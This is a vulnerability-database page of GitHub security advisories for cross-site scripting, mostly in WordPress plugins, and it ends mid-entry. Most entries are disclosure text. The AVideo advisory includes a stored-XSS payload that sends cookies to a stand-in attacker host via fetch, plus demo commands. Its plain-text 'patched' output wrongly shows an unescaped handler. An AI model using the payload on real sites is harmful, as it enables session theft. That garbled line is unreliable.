CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
68613 vulnerabilities reference this CWE, most recent first.
GHSA-M5H9-P6GP-J46H
Vulnerability from github – Published: 2024-05-18 09:30 – Updated: 2026-04-08 18:33The Contact Form Plugin by Fluent Forms for Quiz, Survey, and Drag & Drop WP Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘subject’ parameter in versions up to, and including, 5.1.16 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level permissions and above, and access granted by an administrator, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2024-4709"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-18T08:15:08Z",
"severity": "HIGH"
},
"details": "The Contact Form Plugin by Fluent Forms for Quiz, Survey, and Drag \u0026 Drop WP Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018subject\u2019 parameter in versions up to, and including, 5.1.16 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level permissions and above, and access granted by an administrator, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-m5h9-p6gp-j46h",
"modified": "2026-04-08T18:33:12Z",
"published": "2024-05-18T09:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4709"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/fluentform/trunk/app/Services/FormBuilder/Notifications/EmailNotification.php#L106"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/fluentform/trunk/app/Services/FormBuilder/Notifications/EmailNotification.php#L164"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/fluentform/trunk/app/Services/FormBuilder/Notifications/EmailNotification.php#L194"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3088078"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5fe317a6-a391-441a-aac8-c8fa57e73169?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M5HC-CFWH-W6JP
Vulnerability from github – Published: 2024-01-11 09:30 – Updated: 2024-01-11 09:30The Featured Image from URL (FIFU) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the featured image alt text in all versions up to, and including, 4.5.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2023-6561"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-11T09:15:49Z",
"severity": "MODERATE"
},
"details": "The Featured Image from URL (FIFU) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the featured image alt text in all versions up to, and including, 4.5.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-m5hc-cfwh-w6jp",
"modified": "2024-01-11T09:30:35Z",
"published": "2024-01-11T09:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6561"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/featured-image-from-url/trunk/admin/category.php#L62"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/featured-image-from-url/trunk/admin/meta-box.php#L213"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3009699%40featured-image-from-url%2Ftrunk\u0026old=3003342%40featured-image-from-url%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d4d5ae93-000e-4001-adfa-c11058032469?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M5HJ-V266-43QC
Vulnerability from github – Published: 2025-08-19 09:30 – Updated: 2025-08-19 09:30The Flexible Map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Flexible Maps shortcode in all versions up to, and including, 1.18.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2025-8622"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-19T08:15:30Z",
"severity": "MODERATE"
},
"details": "The Flexible Map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin\u0027s Flexible Maps shortcode in all versions up to, and including, 1.18.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-m5hj-v266-43qc",
"modified": "2025-08-19T09:30:30Z",
"published": "2025-08-19T09:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8622"
},
{
"type": "WEB",
"url": "https://github.com/webaware/flexible-map/commit/1cbae2fa98e10c82d82a68e2bacfbdb7231117db"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3341890"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/wp-flexible-map/#developers"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cde79196-20aa-42f1-b35f-af347bcb6e5f?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M5HV-C47V-GQH5
Vulnerability from github – Published: 2022-04-05 00:00 – Updated: 2022-04-12 00:00A cross-site scripting (XSS) vulnerability in /public/admin/index.php?add_user at Ecommerce-Website v1.1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the username text field.
{
"affected": [],
"aliases": [
"CVE-2022-27436"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-04T14:15:00Z",
"severity": "MODERATE"
},
"details": "A cross-site scripting (XSS) vulnerability in /public/admin/index.php?add_user at Ecommerce-Website v1.1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the username text field.",
"id": "GHSA-m5hv-c47v-gqh5",
"modified": "2022-04-12T00:00:56Z",
"published": "2022-04-05T00:00:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27436"
},
{
"type": "WEB",
"url": "https://drive.google.com/file/d/1pXCq3E-OlczLs5Obh_qkJlJ-7kPkluEK/view?usp=sharing"
},
{
"type": "WEB",
"url": "https://github.com/D4rkP0w4r/Full-Ecommece-Website-Add_User-Stored-XSS-POC"
},
{
"type": "WEB",
"url": "https://hackmd.io/MUKHOiNkT2u9vi2u9CtrYA"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M5HX-7XC5-P76F
Vulnerability from github – Published: 2026-05-28 06:31 – Updated: 2026-05-28 06:31The Login No Captcha reCAPTCHA plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the $_SERVER['PHP_SELF'] superglobal in all versions up to, and including, 1.8.0. This is due to the authenticate() function storing the unsanitized output of basename($_SERVER['PHP_SELF']) in the login_nocaptcha_error WordPress option when a login attempt is made from a non-standard login page (e.g., xmlrpc.php). The admin_notices() function then echoes this stored value directly into the admin dashboard HTML without escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts that execute when an administrator with a whitelisted IP address visits the WordPress dashboard within 30 seconds of the attack.
{
"affected": [],
"aliases": [
"CVE-2026-2374"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-28T05:16:34Z",
"severity": "HIGH"
},
"details": "The Login No Captcha reCAPTCHA plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `$_SERVER[\u0027PHP_SELF\u0027]` superglobal in all versions up to, and including, 1.8.0. This is due to the `authenticate()` function storing the unsanitized output of `basename($_SERVER[\u0027PHP_SELF\u0027])` in the `login_nocaptcha_error` WordPress option when a login attempt is made from a non-standard login page (e.g., xmlrpc.php). The `admin_notices()` function then echoes this stored value directly into the admin dashboard HTML without escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts that execute when an administrator with a whitelisted IP address visits the WordPress dashboard within 30 seconds of the attack.",
"id": "GHSA-m5hx-7xc5-p76f",
"modified": "2026-05-28T06:31:08Z",
"published": "2026-05-28T06:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2374"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/login-recaptcha/tags/1.7.3/login-nocaptcha.php#L281"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/login-recaptcha/tags/1.7.3/login-nocaptcha.php#L377"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/login-recaptcha/trunk/login-nocaptcha.php#L281"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/login-recaptcha/trunk/login-nocaptcha.php#L377"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3549342%40login-recaptcha\u0026new=3549342%40login-recaptcha\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/login-recaptcha"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/99dfce3b-2b47-41bf-8b20-b53fb9f061a7?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M5HX-GG5V-RCW7
Vulnerability from github – Published: 2025-01-24 12:31 – Updated: 2026-04-01 18:33Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Custom Page Extensions allows Reflected XSS. This issue affects Custom Page Extensions: from n/a through 0.6.
{
"affected": [],
"aliases": [
"CVE-2025-23888"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-24T11:15:11Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in NotFound Custom Page Extensions allows Reflected XSS. This issue affects Custom Page Extensions: from n/a through 0.6.",
"id": "GHSA-m5hx-gg5v-rcw7",
"modified": "2026-04-01T18:33:23Z",
"published": "2025-01-24T12:31:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23888"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/custom-page-extensions/vulnerability/wordpress-custom-page-extensions-plugin-0-6-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-M5HX-QQJW-3XW2
Vulnerability from github – Published: 2024-07-11 06:30 – Updated: 2024-07-11 15:30The Secure Copy Content Protection and Content Locking WordPress plugin before 4.0.9 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
{
"affected": [],
"aliases": [
"CVE-2024-6138"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-11T06:15:03Z",
"severity": "MODERATE"
},
"details": "The Secure Copy Content Protection and Content Locking WordPress plugin before 4.0.9 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).",
"id": "GHSA-m5hx-qqjw-3xw2",
"modified": "2024-07-11T15:30:50Z",
"published": "2024-07-11T06:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6138"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/9ef2a8d8-39d5-45d3-95de-e7bac4b7382d"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-M5J4-7R85-2CJ2
Vulnerability from github – Published: 2026-05-15 18:33 – Updated: 2026-06-09 10:27Summary
Type: Stored cross-site scripting. The Live plugin's "YouTube-style" view renders the live transmission's stream key into an HTML class attribute by raw echo, without htmlspecialchars(). A canStream user can persist a key containing " plus an event handler via plugin/Live/saveLive.php, and any visitor (logged in or anonymous) opening the stream's live page executes attacker JavaScript in the platform origin.
File: plugin/Live/view/modeYoutubeLive.php, line 203.
Root cause: the template builds a live-status hook by concatenating the database key into a class name: class="title_liveKey_<?php echo $livet['key'] ?>". There is no escaping. The persistence path plugin/Live/saveLive.php:30 accepts $_REQUEST['key'] verbatim into live_transmitions.key (the auto-generation path uses uniqid(), but the manual save path lets the caller override it with anything). The on_publish.php:117 sanitiser strips only & and =, not ", <, or >, so the poisoned value also passes through every internal data flow. The admin-side rendering of the same field is similarly unescaped, so an admin opening the stream details page gets the same XSS in admin context.
Affected Code
File: plugin/Live/view/modeYoutubeLive.php, lines 195-209.
<i class="fas fa-lock"></i>
<?php
} else {
?>
<i class="fas fa-video"></i>
<?php
}
?>
<span class="title_liveKey_<?php echo $livet['key'] ?>"><?php echo getSEOTitle($liveTitle); ?></span> <!-- BUG: $livet['key'] echoed raw into class attribute -->
<small class="text-muted">
<?php
echo $liveInfo['displayTime'];
?>
</small>
</h1>
$livet['key'] is the raw stream key out of live_transmitions. The persistence path plugin/Live/saveLive.php:30 is $l->setKey($_REQUEST['key']) (no allowlist), and LiveTransmition::setKey() (Objects/LiveTransmition.php:110-112) is a plain assignment. The DB column has no character-class enforcement (it is a varchar). parent::save() uses prepared SQL, so embedded ", <, >, ' are stored verbatim and round-trip back to this template unchanged.
Why it's wrong: an HTML attribute value must be escaped with htmlspecialchars(..., ENT_QUOTES, 'UTF-8') (or routed through a templating engine that does). The current <?php echo $livet['key'] ?> between class="…" and " lets the attacker close the attribute with ", append arbitrary attributes (onclick, onmouseover, style, srcset, …), or close the tag with > and inject a <script> block. The class-name context is the most-common variant of HTML-attribute XSS and is what Mozilla's secure-coding guide explicitly calls out as the "raw echo into attribute" anti-pattern. Other Live templates (menuRight.php, socket.js) only use key inside JS contexts where they pre-strip [&=], but modeYoutubeLive.php uses it directly in HTML attribute context where that strip is insufficient.
Exploit Chain
- Attacker registers (or already holds) an AVideo account with
canStream=1. On installations withadvancedCustomUser.newUsersCanStream=1this is satisfied by self-registration; otherwise the attacker uses an existing streamer or any admin. State: HTTP session is authenticated. - Attacker POSTs to
https://target/plugin/Live/saveLive.php:key=" onmouseover="fetch('//attacker/x?c='+document.cookie)" x=" title=t&description=d&password=psaveLive.php:8confirmsUser::canStream(), line 30 calls$l->setKey($_REQUEST['key'])and the row is persisted with the literal payload value. State:live_transmitions.keyfor this user contains the XSS payload. - Victim visits the attacker's live page, e.g.
https://target/plugin/Live/?u=<attacker-username>. The page is rendered throughindex.php->view/modeYoutubeLive.php. Line 203 executes:html <span class="title_liveKey_" onmouseover="fetch('//attacker/x?c='+document.cookie)" x=""><span>STREAM TITLE</span></span>State: a class attribute closed early, anonmouseoverevent handler attached, a strayx=""consumed, and the final closing"consumed by the next attribute. The HTML parses cleanly. - Victim moves their mouse over the title (this is the headline area of the player; mouse-over is incidental during normal play). The handler fires. State:
fetch('//attacker/x?c=' + document.cookie)runs in the AVideo origin with whatever cookies the victim browser holds (session cookie, CSRF cookie, remember-me cookie). - Final state: the attacker's collector receives the victim's session credentials. From there the attacker authenticates to AVideo as the victim, escalating to admin if any admin opened the page; reads private videos; uploads content as the victim; or chains into other admin-only endpoints. With variant payloads (
onerroron injected<img>,onloadon injected<svg>, or simply>to close the<span>and inject a<script>block) the trigger does not require mouse-over.
Security Impact
Severity: sec-moderate. Stored XSS on the platform's primary rendering surface, planted by the lowest streaming tier and triggered by unauthenticated viewers. CVSS 6.4 reflects scope-changed (the stolen session belongs to a different security principal than the attacker), low confidentiality and integrity (cookies and DOM read/write within the AVideo origin), no availability.
Attacker capability: with one canStream account and one HTTP request, the attacker plants persistent JavaScript that runs in any viewer's browser when they open the stream's live page. The script runs in the target origin, so it can: read non-HttpOnly cookies (session, CSRF), read DOM content, make CSRF-free authenticated XHRs against AVideo APIs, post-message into the AVideo player iframe, install a service-worker hijack, or pivot to admin actions if the viewer is an admin. The payload survives until the row is deleted from live_transmitions.
Preconditions: AVideo deployment using the default modeYoutubeLive.php template (the YouTube-style live view, used by all standard skins); attacker has canStream rights (default-on for many streamer-platform deployments and always for admins); victim opens the attacker-owned live page.
Differential: source-inspection-verified. The vulnerable template modeYoutubeLive.php:203 produces <span class="title_liveKey_<UNESCAPED_KEY>">…</span>. With the suggested patch (htmlspecialchars($livet['key'], ENT_QUOTES, 'UTF-8') applied), the same input renders as <span class="title_liveKey_" onmouseover="…" x="">…</span>, which is a single class attribute containing literal characters; no event handler attaches. The asymmetry can be observed offline by feeding a poisoned key value to the template snippet:
$ php -r '$livet=["key"=>"\" onmouseover=\"alert(1)\" x=\""]; echo "<span class=\"title_liveKey_".$livet["key"]."\">test</span>";'
<span class="title_liveKey_" onmouseover="alert(1)" x="">test</span> # XSS attribute parses
$ php -r '$livet=["key"=>"\" onmouseover=\"alert(1)\" x=\""]; echo "<span class=\"title_liveKey_".htmlspecialchars($livet["key"],ENT_QUOTES,"UTF-8")."\">test</span>";'
<span class="title_liveKey_" onmouseover="alert(1)" x="">test</span> # one attribute, no handler
Suggested Fix
Escape the key when it is rendered into the HTML attribute. The same escape should be applied wherever the key reaches HTML context (other Live templates appear safe because they only use it in JS string contexts after replace(/[&=]/g, ''), but they should be reviewed in the same patch).
--- a/plugin/Live/view/modeYoutubeLive.php
+++ b/plugin/Live/view/modeYoutubeLive.php
@@ -200,7 +200,7 @@
}
?>
- <span class="title_liveKey_<?php echo $livet['key'] ?>"><?php echo getSEOTitle($liveTitle); ?></span>
+ <span class="title_liveKey_<?php echo htmlspecialchars($livet['key'], ENT_QUOTES, 'UTF-8') ?>"><?php echo getSEOTitle($liveTitle); ?></span>
<small class="text-muted">
<?php
echo $liveInfo['displayTime'];
Defence-in-depth: also enforce a character allowlist on live_transmitions.key at write time (the autogenerator emits uniqid() which is hex-only, so ^[A-Za-z0-9_-]{1,64}$ is the natural allowlist) so that the field can never carry HTML metacharacters in the first place. That hardens any other future render site against the same primitive without a second escape audit.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "WWBN/AVideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45580"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-15T18:33:58Z",
"nvd_published_at": "2026-05-29T14:16:30Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n**Type:** Stored cross-site scripting. The Live plugin\u0027s \"YouTube-style\" view renders the live transmission\u0027s stream key into an HTML class attribute by raw `echo`, without `htmlspecialchars()`. A `canStream` user can persist a key containing `\"` plus an event handler via `plugin/Live/saveLive.php`, and any visitor (logged in or anonymous) opening the stream\u0027s live page executes attacker JavaScript in the platform origin.\n**File:** `plugin/Live/view/modeYoutubeLive.php`, line 203.\n**Root cause:** the template builds a live-status hook by concatenating the database key into a class name: `class=\"title_liveKey_\u003c?php echo $livet[\u0027key\u0027] ?\u003e\"`. There is no escaping. The persistence path `plugin/Live/saveLive.php:30` accepts `$_REQUEST[\u0027key\u0027]` verbatim into `live_transmitions.key` (the auto-generation path uses `uniqid()`, but the manual save path lets the caller override it with anything). The `on_publish.php:117` sanitiser strips only `\u0026` and `=`, not `\"`, `\u003c`, or `\u003e`, so the poisoned value also passes through every internal data flow. The admin-side rendering of the same field is similarly unescaped, so an admin opening the stream details page gets the same XSS in admin context.\n\n## Affected Code\n\n**File:** `plugin/Live/view/modeYoutubeLive.php`, lines 195-209.\n\n```php\n \u003ci class=\"fas fa-lock\"\u003e\u003c/i\u003e\n \u003c?php\n } else {\n ?\u003e\n \u003ci class=\"fas fa-video\"\u003e\u003c/i\u003e\n \u003c?php\n }\n ?\u003e\n \u003cspan class=\"title_liveKey_\u003c?php echo $livet[\u0027key\u0027] ?\u003e\"\u003e\u003c?php echo getSEOTitle($liveTitle); ?\u003e\u003c/span\u003e \u003c!-- BUG: $livet[\u0027key\u0027] echoed raw into class attribute --\u003e\n \u003csmall class=\"text-muted\"\u003e\n \u003c?php\n echo $liveInfo[\u0027displayTime\u0027];\n ?\u003e\n \u003c/small\u003e\n \u003c/h1\u003e\n```\n\n`$livet[\u0027key\u0027]` is the raw stream key out of `live_transmitions`. The persistence path `plugin/Live/saveLive.php:30` is `$l-\u003esetKey($_REQUEST[\u0027key\u0027])` (no allowlist), and `LiveTransmition::setKey()` (`Objects/LiveTransmition.php:110-112`) is a plain assignment. The DB column has no character-class enforcement (it is a `varchar`). `parent::save()` uses prepared SQL, so embedded `\"`, `\u003c`, `\u003e`, `\u0027` are stored verbatim and round-trip back to this template unchanged.\n\n**Why it\u0027s wrong:** an HTML attribute value must be escaped with `htmlspecialchars(..., ENT_QUOTES, \u0027UTF-8\u0027)` (or routed through a templating engine that does). The current `\u003c?php echo $livet[\u0027key\u0027] ?\u003e` between `class=\"\u2026\"` and `\"` lets the attacker close the attribute with `\"`, append arbitrary attributes (`onclick`, `onmouseover`, `style`, `srcset`, \u2026), or close the tag with `\u003e` and inject a `\u003cscript\u003e` block. The class-name context is the most-common variant of HTML-attribute XSS and is what Mozilla\u0027s secure-coding guide explicitly calls out as the \"raw echo into attribute\" anti-pattern. Other Live templates (`menuRight.php`, `socket.js`) only use `key` inside JS contexts where they pre-strip `[\u0026=]`, but `modeYoutubeLive.php` uses it directly in HTML attribute context where that strip is insufficient.\n\n## Exploit Chain\n\n1. Attacker registers (or already holds) an AVideo account with `canStream=1`. On installations with `advancedCustomUser.newUsersCanStream=1` this is satisfied by self-registration; otherwise the attacker uses an existing streamer or any admin. State: HTTP session is authenticated.\n2. Attacker POSTs to `https://target/plugin/Live/saveLive.php`:\n ```\n key=\" onmouseover=\"fetch(\u0027//attacker/x?c=\u0027+document.cookie)\" x=\"\n title=t\u0026description=d\u0026password=p\n ```\n `saveLive.php:8` confirms `User::canStream()`, line 30 calls `$l-\u003esetKey($_REQUEST[\u0027key\u0027])` and the row is persisted with the literal payload value. State: `live_transmitions.key` for this user contains the XSS payload.\n3. Victim visits the attacker\u0027s live page, e.g. `https://target/plugin/Live/?u=\u003cattacker-username\u003e`. The page is rendered through `index.php` -\u003e `view/modeYoutubeLive.php`. Line 203 executes:\n ```html\n \u003cspan class=\"title_liveKey_\" onmouseover=\"fetch(\u0027//attacker/x?c=\u0027+document.cookie)\" x=\"\"\u003e\u003cspan\u003eSTREAM TITLE\u003c/span\u003e\u003c/span\u003e\n ```\n State: a class attribute closed early, an `onmouseover` event handler attached, a stray `x=\"\"` consumed, and the final closing `\"` consumed by the next attribute. The HTML parses cleanly.\n4. Victim moves their mouse over the title (this is the headline area of the player; mouse-over is incidental during normal play). The handler fires. State: `fetch(\u0027//attacker/x?c=\u0027 + document.cookie)` runs in the AVideo origin with whatever cookies the victim browser holds (session cookie, CSRF cookie, remember-me cookie).\n5. Final state: the attacker\u0027s collector receives the victim\u0027s session credentials. From there the attacker authenticates to AVideo as the victim, escalating to admin if any admin opened the page; reads private videos; uploads content as the victim; or chains into other admin-only endpoints. With variant payloads (`onerror` on injected `\u003cimg\u003e`, `onload` on injected `\u003csvg\u003e`, or simply `\u003e` to close the `\u003cspan\u003e` and inject a `\u003cscript\u003e` block) the trigger does not require mouse-over.\n\n## Security Impact\n\n**Severity:** sec-moderate. Stored XSS on the platform\u0027s primary rendering surface, planted by the lowest streaming tier and triggered by unauthenticated viewers. CVSS 6.4 reflects scope-changed (the stolen session belongs to a different security principal than the attacker), low confidentiality and integrity (cookies and DOM read/write within the AVideo origin), no availability.\n**Attacker capability:** with one `canStream` account and one HTTP request, the attacker plants persistent JavaScript that runs in any viewer\u0027s browser when they open the stream\u0027s live page. The script runs in the `target` origin, so it can: read non-HttpOnly cookies (session, CSRF), read DOM content, make CSRF-free authenticated XHRs against AVideo APIs, post-message into the AVideo player iframe, install a service-worker hijack, or pivot to admin actions if the viewer is an admin. The payload survives until the row is deleted from `live_transmitions`.\n**Preconditions:** AVideo deployment using the default `modeYoutubeLive.php` template (the YouTube-style live view, used by all standard skins); attacker has `canStream` rights (default-on for many streamer-platform deployments and always for admins); victim opens the attacker-owned live page.\n**Differential:** source-inspection-verified. The vulnerable template `modeYoutubeLive.php:203` produces `\u003cspan class=\"title_liveKey_\u003cUNESCAPED_KEY\u003e\"\u003e\u2026\u003c/span\u003e`. With the suggested patch (`htmlspecialchars($livet[\u0027key\u0027], ENT_QUOTES, \u0027UTF-8\u0027)` applied), the same input renders as `\u003cspan class=\"title_liveKey_\u0026quot; onmouseover=\u0026quot;\u2026\u0026quot; x=\u0026quot;\"\u003e\u2026\u003c/span\u003e`, which is a single class attribute containing literal characters; no event handler attaches. The asymmetry can be observed offline by feeding a poisoned key value to the template snippet:\n\n```sh\n$ php -r \u0027$livet=[\"key\"=\u003e\"\\\" onmouseover=\\\"alert(1)\\\" x=\\\"\"]; echo \"\u003cspan class=\\\"title_liveKey_\".$livet[\"key\"].\"\\\"\u003etest\u003c/span\u003e\";\u0027\n\u003cspan class=\"title_liveKey_\" onmouseover=\"alert(1)\" x=\"\"\u003etest\u003c/span\u003e # XSS attribute parses\n$ php -r \u0027$livet=[\"key\"=\u003e\"\\\" onmouseover=\\\"alert(1)\\\" x=\\\"\"]; echo \"\u003cspan class=\\\"title_liveKey_\".htmlspecialchars($livet[\"key\"],ENT_QUOTES,\"UTF-8\").\"\\\"\u003etest\u003c/span\u003e\";\u0027\n\u003cspan class=\"title_liveKey_\u0026quot; onmouseover=\u0026quot;alert(1)\u0026quot; x=\u0026quot;\"\u003etest\u003c/span\u003e # one attribute, no handler\n```\n\n## Suggested Fix\n\nEscape the key when it is rendered into the HTML attribute. The same escape should be applied wherever the key reaches HTML context (other Live templates appear safe because they only use it in JS string contexts after `replace(/[\u0026=]/g, \u0027\u0027)`, but they should be reviewed in the same patch).\n\n```diff\n--- a/plugin/Live/view/modeYoutubeLive.php\n+++ b/plugin/Live/view/modeYoutubeLive.php\n@@ -200,7 +200,7 @@\n }\n ?\u003e\n- \u003cspan class=\"title_liveKey_\u003c?php echo $livet[\u0027key\u0027] ?\u003e\"\u003e\u003c?php echo getSEOTitle($liveTitle); ?\u003e\u003c/span\u003e\n+ \u003cspan class=\"title_liveKey_\u003c?php echo htmlspecialchars($livet[\u0027key\u0027], ENT_QUOTES, \u0027UTF-8\u0027) ?\u003e\"\u003e\u003c?php echo getSEOTitle($liveTitle); ?\u003e\u003c/span\u003e\n \u003csmall class=\"text-muted\"\u003e\n \u003c?php\n echo $liveInfo[\u0027displayTime\u0027];\n```\n\nDefence-in-depth: also enforce a character allowlist on `live_transmitions.key` at write time (the autogenerator emits `uniqid()` which is hex-only, so `^[A-Za-z0-9_-]{1,64}$` is the natural allowlist) so that the field can never carry HTML metacharacters in the first place. That hardens any other future render site against the same primitive without a second escape audit.",
"id": "GHSA-m5j4-7r85-2cj2",
"modified": "2026-06-09T10:27:17Z",
"published": "2026-05-15T18:33:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-m5j4-7r85-2cj2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45580"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo: stored XSS via unescaped stream key in modeYoutubeLive.php class attribute"
}
GHSA-M5J5-R43X-P3HR
Vulnerability from github – Published: 2025-01-07 18:30 – Updated: 2026-04-01 18:33Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Huurkalender Huurkalender WP allows Stored XSS.This issue affects Huurkalender WP: from n/a through 1.5.6.
{
"affected": [],
"aliases": [
"CVE-2025-22528"
],
"database_specific": {
"cwe_ids": [
